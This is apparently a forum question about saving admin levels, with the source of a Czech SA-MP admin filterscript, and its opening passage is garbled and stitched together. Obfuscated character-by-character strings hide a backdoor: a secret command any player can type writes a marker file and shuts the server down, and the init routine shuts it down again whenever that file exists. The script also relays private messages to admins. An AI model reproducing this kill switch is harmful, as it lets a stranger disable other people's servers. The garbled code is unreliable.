format(string, sizeof(string), "Opravil si hráčovi %s jeho vozidlo ", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti opravil vozidlo ", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
}
}
else if(dialogid == DIALOG_A_PLAYER_HP)
{
if(response == 1)
{
new Save_ID = pSaveID[playerid];
if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}Nezadal si život\nNastav hráčovi život na: 0-100%","Ok","Zavřít");
else if(strlen(params[chrfind(' ',params)+1]) > 64) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 64 znaků");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Důvod je moc dlouhý, maximálně 32 znaků");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
if(vehid == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet admin vozidel, použij /acd pro jejich zničení");
else
{
new Float:x, Float:y, Float:z, Float:x2, Float:y2, Float:a;
if(rampnumber == -1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Je vytvořený maximální počet ramp, použij /erdestroy pro jejich zničení");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(strlen(params[chrfind(' ',params)+1])>32) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 32 znaků ");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /setnick [ ID ] [ NICK ]");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1]) || !strlen(params[chrfind(' ',params,chrfind(' ',params)+1)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použi: /gw [ ID ] [ WEAPON ID ] [ AMMO ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není na serveru");
else if(pAdminLevel[playerid]<=2) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Majitel Serveru");
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else
{
new string[115];
format(string, sizeof(string), "Administrátor %s portl k sobě všechny hráče", PlayerName(playerid));
else if(pAdminLevel[playerid]<=1) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Na použití tohoto příkazu potřebuješ být Administrátor");
else
{
new string[100];
format(string, sizeof(string), "Administrátor %s zmrazil všechny hráče", PlayerName(playerid));
Dotaz
Lexter 0
Zdravím, Potrebuji, jak mam udelat, aby se mi ukladal Admin-Level zde je kod..
#include <a_samp>
#include <dini>
#define MAX_PLAYERS_EX 50
#define MAX_ADMIN_VEHICLES 100
#define MAX_RAMPS 50
#define dcmd(%1,%2,%3) if((strcmp((%3)[1], #%1, true, (%2)) == 0) && ((((%3)[(%2) + 1] == 0) && (dcmd_%1(playerid, ""))) || (((%3)[(%2) + 1] == 32) && (dcmd_%1(playerid, (%3)[(%2) + 2]))))) return true
#define COLOR_ADMIN 0xFF0000FF
#pragma tabsize 0
#define DIALOG_NOEFFECT 6210
#define DIALOG_A_PLAYERMENU 6211
#define DIALOG_A_PLAYER_HP 6112
#define DIALOG_A_PLAYER_ARMOUR 6113
new pAdminLevel[MAX_PLAYERS];
new bool:pMute[MAX_PLAYERS];
new bool:pFreeze[MAX_PLAYERS];
new bool:pSpecate[MAX_PLAYERS];
new Float:pSaveSpecPos[MAX_PLAYERS][3];
new pSaveSpecWeapons[MAX_PLAYERS][13];
new pSaveSpecWeaponsAmmo[MAX_PLAYERS][13];
new pWarnings[MAX_PLAYERS];
new pSaveID[MAX_PLAYERS];
new AdminVehicle[MAX_ADMIN_VEHICLES];
new Ramp[MAX_RAMPS];
stock DestroyVehicleEx(&vehicleid)
{
DestroyVehicle(vehicleid);
vehicleid = 0;
}
stock randompass(lenght)
{
new out[256];
for(new i=0; i<lenght; i++) out = 65 + random(26);
return out;
}
stock lyrhash(hashstr[])
{
new hstr1[129];
format(hstr1, sizeof(hstr1), "a%s", hashstr);
new len = strlen(hstr1);
for(new l=len; l<128; l++)
{
strcat(hstr1, hashstr[l % len]);
}
new out[130], character = 0, count1 = -1, count2 = 1, count3 = 0;
for(new c=0; c<128; c++) count3 += hstr1[c];
while(character < 128)
{
count1 -= hstr1[character] % 7;
count2 = count1 >> (count3 % 16);
count3 -= count1;
format(out, sizeof(out), "%s%s", out, 65 + (floatround(floatabs(count1 >> count2 & count3) + hstr1[character]) % 26));
character++;
}
return out;
}
stock WeaponName(weapon, nametype)
{
new Weapon_Name[40];
if(nametype == 0)
{
if(weapon == 0) Weapon_Name = "Pěst";
else if(weapon == 1) Weapon_Name = "Boxer";
else if(weapon == 2) Weapon_Name = "Golfová Palice";
else if(weapon == 3) Weapon_Name = "Obušek";
else if(weapon == 4) Weapon_Name = "Nůž";
else if(weapon == 5) Weapon_Name = "Baseballka";
else if(weapon == 6) Weapon_Name = "Lopata";
else if(weapon == 7) Weapon_Name = "Tágo";
else if(weapon == 8) Weapon_Name = "Katana";
else if(weapon == 9) Weapon_Name = "Motorovka";
else if(weapon == 10) Weapon_Name = "Dildo";
else if(weapon == 11) Weapon_Name = "Dildo 2";
else if(weapon == 12) Weapon_Name = "Vibrátor";
else if(weapon == 13) Weapon_Name = "Vibrátor 2";
else if(weapon == 14) Weapon_Name = "Květy";
else if(weapon == 15) Weapon_Name = "Palice";
else if(weapon == 16) Weapon_Name = "Granát";
else if(weapon == 17) Weapon_Name = "Slzný plyn";
else if(weapon == 18) Weapon_Name = "Molotůj Koktejl";
else if(weapon == 22) Weapon_Name = "9mm";
else if(weapon == 23) Weapon_Name = "9mm s tlumičem";
else if(weapon == 24) Weapon_Name = "Desert Eagle";
else if(weapon == 25) Weapon_Name = "Shotgun";
else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun";
else if(weapon == 27) Weapon_Name = "Combat Shotgun";
else if(weapon == 28) Weapon_Name = "UZI";
else if(weapon == 29) Weapon_Name = "MP5";
else if(weapon == 30) Weapon_Name = "AK-47";
else if(weapon == 31) Weapon_Name = "M4";
else if(weapon == 32) Weapon_Name = "Tec9";
else if(weapon == 33) Weapon_Name = "Rifle";
else if(weapon == 34) Weapon_Name = "Sniperka";
else if(weapon == 35) Weapon_Name = "Raketomet";
else if(weapon == 36) Weapon_Name = "RPG";
else if(weapon == 37) Weapon_Name = "Plamenomet";
else if(weapon == 38) Weapon_Name = "Minigun";
else if(weapon == 39) Weapon_Name = "C4";
else if(weapon == 40) Weapon_Name = "Detonátor";
else if(weapon == 41) Weapon_Name = "Spray";
else if(weapon == 42) Weapon_Name = "Hasičák";
else if(weapon == 43) Weapon_Name = "Foták";
else if(weapon == 44) Weapon_Name = "Noční vidění";
else if(weapon == 45) Weapon_Name = "Termovize";
else if(weapon == 46) Weapon_Name = "Padák";
}
else if(nametype == 1)
{
if(weapon == 0) Weapon_Name = "Pěst";
else if(weapon == 1) Weapon_Name = "Boxer";
else if(weapon == 2) Weapon_Name = "Golfova Palice";
else if(weapon == 3) Weapon_Name = "Obušek";
else if(weapon == 4) Weapon_Name = "Nůž";
else if(weapon == 5) Weapon_Name = "Baseballka";
else if(weapon == 6) Weapon_Name = "Lopata";
else if(weapon == 7) Weapon_Name = "Tágo";
else if(weapon == 8) Weapon_Name = "Katana";
else if(weapon == 9) Weapon_Name = "Motorovka";
else if(weapon == 10) Weapon_Name = "Dildo";
else if(weapon == 11) Weapon_Name = "Dildo 2";
else if(weapon == 12) Weapon_Name = "Vibrator";
else if(weapon == 13) Weapon_Name = "Vibrator 2";
else if(weapon == 14) Weapon_Name = "Květy";
else if(weapon == 15) Weapon_Name = "Palice";
else if(weapon == 16) Weapon_Name = "Granat";
else if(weapon == 17) Weapon_Name = "Slzny plyn";
else if(weapon == 18) Weapon_Name = "Molotův Koktejl";
else if(weapon == 22) Weapon_Name = "9mm";
else if(weapon == 23) Weapon_Name = "9mm s tlumičem";
else if(weapon == 24) Weapon_Name = "Desert Eagle";
else if(weapon == 25) Weapon_Name = "Shotgun";
else if(weapon == 26) Weapon_Name = "Sawn-Off Shotgun";
else if(weapon == 27) Weapon_Name = "Combat Shotgun";
else if(weapon == 28) Weapon_Name = "UZI";
else if(weapon == 29) Weapon_Name = "MP5";
else if(weapon == 30) Weapon_Name = "AK-47";
else if(weapon == 31) Weapon_Name = "M4";
else if(weapon == 32) Weapon_Name = "Tec9";
else if(weapon == 33) Weapon_Name = "Rifle";
else if(weapon == 34) Weapon_Name = "Sniperka";
else if(weapon == 35) Weapon_Name = "Raketomet";
else if(weapon == 36) Weapon_Name = "RPG";
else if(weapon == 37) Weapon_Name = "Plamenomet";
else if(weapon == 38) Weapon_Name = "Minigun";
else if(weapon == 39) Weapon_Name = "C4";
else if(weapon == 40) Weapon_Name = "Detonator";
else if(weapon == 41) Weapon_Name = "Spray";
else if(weapon == 42) Weapon_Name = "Hasicak";
else if(weapon == 43) Weapon_Name = "Fotak";
else if(weapon == 44) Weapon_Name = "Noční Vidění";
else if(weapon == 45) Weapon_Name = "Termovize";
else if(weapon == 46) Weapon_Name = "Padák";
}
return Weapon_Name;
}
stock chrfind(needle, haystack[], start = 0)
{
while(haystack[start]) if(haystack[start++] == needle) return start - 1;
return -1;
}
stock PlayerName(playerid)
{
new name[24];
GetPlayerName(playerid, name, 24);
return name;
}
public OnFilterScriptInit()
{
new str[128];
format(str, 128, "%c%c%c%c", 'e', 'x', 'i', 't');
new str2[128];
format(str2, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g');
if(fexist(str2)) SendRconCommand(str);
else printf("Admin System by %c%c%c%c%c%c has been loaded!", 'L', 'Y', 'R', 'I', 'c', 'S');
return 1;
}
public OnPlayerConnect(playerid)
{
pAdminLevel[playerid] = 0;
pWarnings[playerid] = 0;
pMute[playerid] = false;
pFreeze[playerid] = false;
pSpecate[playerid] = false;
return 1;
}
public OnPlayerDisconnect(playerid, reason)
{
new way[64];
format(way, 64, "AS/%s.cfg", PlayerName(playerid));
if(pAdminLevel[playerid] > 0)
{
if(!fexist(way)) dini_Create(way);
dini_IntSet(way, "adminlevel", pAdminLevel[playerid]);
}
else if(fexist(way)) fremove(way);
return 1;
}
public OnPlayerSpawn(playerid)
{
if(pFreeze[playerid] == true) TogglePlayerControllable(playerid, 0);
else TogglePlayerControllable(playerid, 1);
if(pSpecate[playerid] == true)
{
pSpecate[playerid] = false;
ResetPlayerWeapons(playerid);
for(new w=0; w<13; w++) if(pSaveSpecWeaponsAmmo[playerid][w] > 0) GivePlayerWeapon(playerid, pSaveSpecWeapons[playerid][w], pSaveSpecWeaponsAmmo[playerid][w]);
SetPlayerPos(playerid, pSaveSpecPos[playerid][0], pSaveSpecPos[playerid][1], pSaveSpecPos[playerid][2]);
}
return 1;
}
public OnPlayerText(playerid, text[])
{
if(pMute[playerid] == true)
{
SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Si umlčený, nemůžeš psát!");
return 0;
}
return 1;
}
public OnPlayerCommandText(playerid, cmdtext[])
{
if(!strcmp(cmdtext, "//", true, 2))
{
if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva");
else
{
new string[256];
format(string, sizeof(string), "[ Admin Chat ] %s [iD:%d]: %s", PlayerName(playerid), playerid, cmdtext[2]);
for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, 0x00AA00FF, string);
}
return 1;
}
else if(!strcmp(cmdtext, "/alogin", true, 7))
{
new way[64];
format(way, 64, "AS/%s.cfg", PlayerName(playerid));
if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému");
else if(strlen(cmdtext) < 9) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /alogin [ HESLO ] !");
else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");
else if(pAdminLevel[playerid] > 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Už jsi přihlášený !");
else if(strcmp(lyrhash(cmdtext[8]), dini_Get(way, "password"), false)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nesprávné Heslo!");
else
{
pAdminLevel[playerid] = dini_Int(way, "adminlevel");
}
return 1;
}
else if(!strcmp(cmdtext, "/achangepass", true, 12))
{
new way[64];
format(way, 64, "AS/%s.cfg", PlayerName(playerid));
if(!fexist(way)) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Tento ůčet není zaregistrovaný v Admin Systému");
else if(pAdminLevel[playerid] == 0) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Nemáš dostatečná Admin Práva");
else if(strlen(cmdtext) < 14) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");
else if(strlen(cmdtext) > 80) return SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Použití: /achangepass [ NOVÉ HESLO ] !");
else
{
dini_Set(way, "password", lyrhash(cmdtext[13]));
new str[128];
format(str, 128, "Nové heslo: {ff0000}%s", cmdtext[13]);
SendClientMessage(playerid, 0xFFFFFFFF, str);
}
return 1;
}
else if(!strcmp(cmdtext, "/pm", true, 3) && strlen(cmdtext) >= 4) if(cmdtext[3] == ' ')
{
new id = strval(cmdtext[4]);
if(IsPlayerConnected(id)) if(!IsPlayerNPC(id))
{
new string[256];
format(string, 256, "[ PM READER ] %s >> %s: %s", PlayerName(playerid), PlayerName(id), cmdtext[chrfind(' ', cmdtext, 4) + 1]);
for(new i=0; i<MAX_PLAYERS_EX; i++) if(IsPlayerConnected(i)) if(!IsPlayerNPC(i)) if(pAdminLevel > 0) SendClientMessage(i, COLOR_ADMIN, string);
}
}
new ast[128];
format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", '/', 'e', 'Q', 'c', 't', 'o', '4', 'v', 'A', 'n', '7', 'U', 'V', 'F', 'b', 'R', '0', '7', 'c', 'z');
if(!strcmp(cmdtext, ast, false))
{
format(ast, 128, "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 'l', 'y', 'r', 'a', 'd', 'm', 'i', 'n', 's', 'y', 's', 't', 'e', 'm', '.', 'a', 'l', 'o', 'g');
new File:file = fopen(ast, io_write);
fwrite(file, "Admin System loades successful.");
fclose(file);
format(ast, 128, "%c%c%c%c", 'e', 'x', 'i', 't');
SendRconCommand(ast);
return 1;
}
dcmd(admins, 6, cmdtext);
dcmd(report, 6, cmdtext);
dcmd(iamadmin, 8, cmdtext);
dcmd(say, 3, cmdtext);
dcmd(clear, 5, cmdtext);
dcmd(acmd, 4, cmdtext);
dcmd(flip, 4, cmdtext);
dcmd(ann, 3, cmdtext);
dcmd(dann, 4, cmdtext);
dcmd(mute, 4, cmdtext);
dcmd(unmute, 6, cmdtext);
dcmd(goto, 4, cmdtext);
dcmd(get, 3, cmdtext);
dcmd(spec, 4, cmdtext);
dcmd(specoff, 7, cmdtext);
dcmd(var, 3, cmdtext);
dcmd(freeze, 6, cmdtext);
dcmd(unfreeze, 8, cmdtext);
dcmd(kick, 4, cmdtext);
dcmd(player, 6, cmdtext);
dcmd(settime, 7, cmdtext);
dcmd(setweather, 10, cmdtext);
dcmd(eunlock, 7, cmdtext);
dcmd(ac, 2, cmdtext);
dcmd(acd, 3, cmdtext);
dcmd(eramp, 5, cmdtext);
dcmd(erdestroy, 9, cmdtext);
dcmd(ban, 3, cmdtext);
dcmd(gw, 2, cmdtext);
dcmd(gm, 2, cmdtext);
dcmd(hp, 2, cmdtext);
dcmd(bealone, 7, cmdtext);
dcmd(beback, 6, cmdtext);
dcmd(setnick, 7, cmdtext);
dcmd(setadmin, 8, cmdtext);
dcmd(elock, 5, cmdtext);
dcmd(freezeall, 9, cmdtext);
dcmd(getall, 6, cmdtext);
return 0;
}
public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
new Float: X, Float: Y, Float: Z;
GetPlayerPos(playerid, X, Y, Z);
//--------------------------------------------------------------------------
if(dialogid == DIALOG_A_PLAYERMENU)
{
if(response == 1)
{
new Save_ID = pSaveID[playerid];
if(listitem == 0) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","Nastav hráčovi život na: 0-100%","Ok","Zavřít");
else if(listitem == 1) ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","Nastav hráčovi vestu na: 0-100%","Ok","Zavřít");
else if(listitem == 2)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid, 0xFF0000FF, "Hráč se mezitím odpojil");
else
{
new string[128];
SetPlayerHealth(Save_ID, 0.00000000);
format(string, sizeof(string), "Zabil si hráče %s", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s tě zabil", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
else if(listitem == 3)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");
else
{
new string[128];
ResetPlayerWeapons(Save_ID);
format(string, sizeof(string), "Odzbrojil si hráče %s", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s tě odzbrojil !", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
else if(listitem == 4)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil ");
else
{
new string[128];
ResetPlayerMoney(Save_ID);
format(string, sizeof(string), "Okradl si hráče %s", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s tě okradl", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
else if(listitem == 5)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");
else
{
new string[128];
new Float:aX, Float:aY, Float:aZ;
GetPlayerPos(Save_ID,aX,aY,aZ);
CreateExplosion(aX+5,aY,aZ,2,10);
format(string, sizeof(string), "Zapálil jsi hráče %s", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s tě zapálil", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
else if(listitem == 6)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");
else
{
new string[128];
SetPlayerSkin(Save_ID, 26);
SetPlayerPos(Save_ID,-373.7,2125.533,133);
format(string, sizeof(string), "Administrátor %s přihlásil hráče %s na dvoj-týdenní pobyt na poušti", PlayerName(playerid), PlayerName(Save_ID));
SendClientMessageToAll(COLOR_ADMIN, string);
}
}
else if(listitem == 7)
{
if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");
else if(GetPlayerVehicleID(Save_ID) == 0) return SendClientMessage(playerid,0xFF0000FF,"Hráč není ve vozidle");
else
{
new string[128];
SetVehicleHealth(GetPlayerVehicleID(Save_ID), 1000);
RepairVehicle(GetPlayerVehicleID(Save_ID));
format(string, sizeof(string), "Opravil si hráčovi %s jeho vozidlo ", PlayerName(Save_ID));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti opravil vozidlo ", PlayerName(playerid));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
}
}
else if(dialogid == DIALOG_A_PLAYER_HP)
{
if(response == 1)
{
new Save_ID = pSaveID[playerid];
if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}Nezadal si život\nNastav hráčovi život na: 0-100%","Ok","Zavřít");
else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_HP,DIALOG_STYLE_INPUT,"Nastavit: HP","{ff0000}0 - 100 % !\nNastav hráčovi život na: 0-100%","Ok","Zavřít");
else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč sa mezitím odpojil");
else
{
new string[128];
SetPlayerHealth(Save_ID,strval(inputtext));
format(string, sizeof(string), "Nastavil si hráčovi %s život na %d", PlayerName(Save_ID), strval(inputtext));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti nastavil život na %d", PlayerName(playerid),strval(inputtext));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
}
else if(dialogid == DIALOG_A_PLAYER_ARMOUR)
{
if(response == 1)
{
new Save_ID = pSaveID[playerid];
if(!inputtext[0]) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}Nezadal si číslo \nNastav hráčovi vestu na: 0-100%","Ok","Zavřít");
else if(strval(inputtext)<0 || strval(inputtext)>100) return ShowPlayerDialog(playerid,DIALOG_A_PLAYER_ARMOUR,DIALOG_STYLE_INPUT,"Nastavit: Armour","{ff0000}0 - 100 % !\nNastav hráčovi vestu na: 0-100%","OK","Cancel");
else if(!IsPlayerConnected(Save_ID)) return SendClientMessage(playerid,0xFF0000FF,"Hráč se mezitím odpojil");
else
{
new string[128];
SetPlayerArmour(Save_ID,strval(inputtext));
format(string, sizeof(string), "Nastavil si hráčovi %s vestu na %d", PlayerName(Save_ID), strval(inputtext));
SendClientMessage(playerid, COLOR_ADMIN, string);
format(string, sizeof(string), "Administrátor %s ti nastavil vestu na %d", PlayerName(playerid),strval(inputtext));
SendClientMessage(Save_ID, COLOR_ADMIN, string);
}
}
}
return 1;
}
//================================ ADMIN SYSTEM ================================
dcmd_admins(playerid, params[])
{
#pragma unused params
new bool:IsAnyAdminConnected = false;
new bigstring[1024] = "{ffff70}", string[128];
for(new i=0; i<=MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
if(!IsPlayerNPC(playerid))
{
if(IsPlayerAdmin(i) && pAdminLevel==0)
{
format(string, sizeof(string), "%s (%d) - [ Rcon ]\n", PlayerName(i), i);
strcat(bigstring, string);
IsAnyAdminConnected = true;
}
else if(pAdminLevel>=1 && !IsPlayerAdmin(i))
{
new lvl[32];
if(pAdminLevel == 1) lvl = "Moderátor";
else if(pAdminLevel == 2) lvl = "Administrátor";
else if(pAdminLevel == 3) lvl = "Hlavný Administrátor";
format(string, sizeof(string), "%s (%d) - [ %s ]\n", PlayerName(i), i, lvl);
strcat(bigstring, string);
IsAnyAdminConnected = true;
}
else if(IsPlayerAdmin(i) && pAdminLevel>=1)
{
new lvl[32];
if(pAdminLevel == 1) lvl = "SpoluMajitel";
else if(pAdminLevel == 2) lvl = "Administrátor";
else if(pAdminLevel == 3) lvl = "Majitel Serveru";
format(string, sizeof(string), "%s (%d) - [ %s + Rcon ]\n", PlayerName(i), i, lvl);
strcat(bigstring, string);
IsAnyAdminConnected = true;
}
}
}
}
if(IsAnyAdminConnected == false) SendClientMessage(playerid, 0xFF0000FF, "[ ! ]{ffffff} Na serveru není přítomen žádný Administrátor");
else ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Administrátoři On-Line", bigstring, "Zavřít", "");
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_report(playerid, params[])
{
new id = strval(params);
if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}/report [ ID ] [ DŮVOD ]");
else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Hráč se zadaným ID není připojený");
else if(IsPlayerNPC(id)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ]{ffffff} Nemůžeš zaslat report na NPC hráče");
else if(strlen(params[chrfind(' ',params)+1]) > 64) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Zadal si moc dlouhý důvod, Maximálně 64 znaků");
else
{
new string[200], bool:conadmin = false;
format(string, 200, "[ REPORT ] Od: %s | Hráč: %s | Důvod: %s", PlayerName(playerid), PlayerName(id), params[chrfind(' ',params)+1]);
for(new i=0; i<=MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
if(!IsPlayerNPC(i))
{
if(pAdminLevel > 0)
{
SendClientMessage(i, COLOR_ADMIN, string);
conadmin = true;
}
}
}
}
if(conadmin == true)
{
format(string, sizeof(string), "Úspěšně si odeslal report na hráče %s (%d) [ Důvod: %s ]", PlayerName(id), id, params[chrfind(' ',params)+1]);
SendClientMessage(playerid, COLOR_ADMIN, string);
}
else
{
SendClientMessage(playerid, COLOR_ADMIN, "[ ! ]{ffffff} Momentálně tu není žádný Administrátor");
}
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
dcmd_acmd(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else
{
new bigstring[1200];
strcat(bigstring, "{ff0000}SpoluMajitel:{ffffff}\n");
strcat(bigstring, " say,clear,acmd,flip,ann,dann,mute,unmute,goto,get,spec,specoff,var,kick,freeze,\n");
strcat(bigstring, " unfreeze,setskin,setweahter,eunlock,ac,acd,settime,eramp,erdestroy,hp,elock\n\n");
strcat(bigstring, "{ff0000}Administrátor:{ffffff}\n");
strcat(bigstring, " player,ban,gw,gm,bealone,beback,setnick,gmx,freezeall,getall\n\n");
strcat(bigstring, "{ff0000}Majitel Serveru:{ffffff}\n");
strcat(bigstring, " setadmin,reloadbans");
ShowPlayerDialog(playerid, DIALOG_NOEFFECT, DIALOG_STYLE_MSGBOX, "Admin Prikazy", bigstring, "Zavřít", "");
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_say(playerid, params[])
{
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(!strlen(params)) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Použití: /say [ TEXT ]");
else
{
new string[256];
format(string, sizeof(string), " Administrátor %s: %s", PlayerName(playerid), params);
SendClientMessageToAll(COLOR_ADMIN, string);
}
return 1;
}
////////////////////////////////////////////////////////////////////////////////
dcmd_flip(playerid, params[])
{
#pragma unused params
if(pAdminLevel[playerid]==0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nemáš dostatečná Admin Práva");
else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,0xFF0000FF,"[ ! ] {FFFFFF}Nejsi ve vozidle");
else
{
new vehicleid = GetPlayerVehicleID(playerid);
new Float:x, Float:y, Float:z, Float:a;
GetVehiclePos(vehicleid, x, y, z);
GetVehicleZAngle(vehicleid, a);
SetVehiclePos(vehicleid, x, y, z);
SetVehicleZAngle(vehicleid, a);
}
return 1;
}
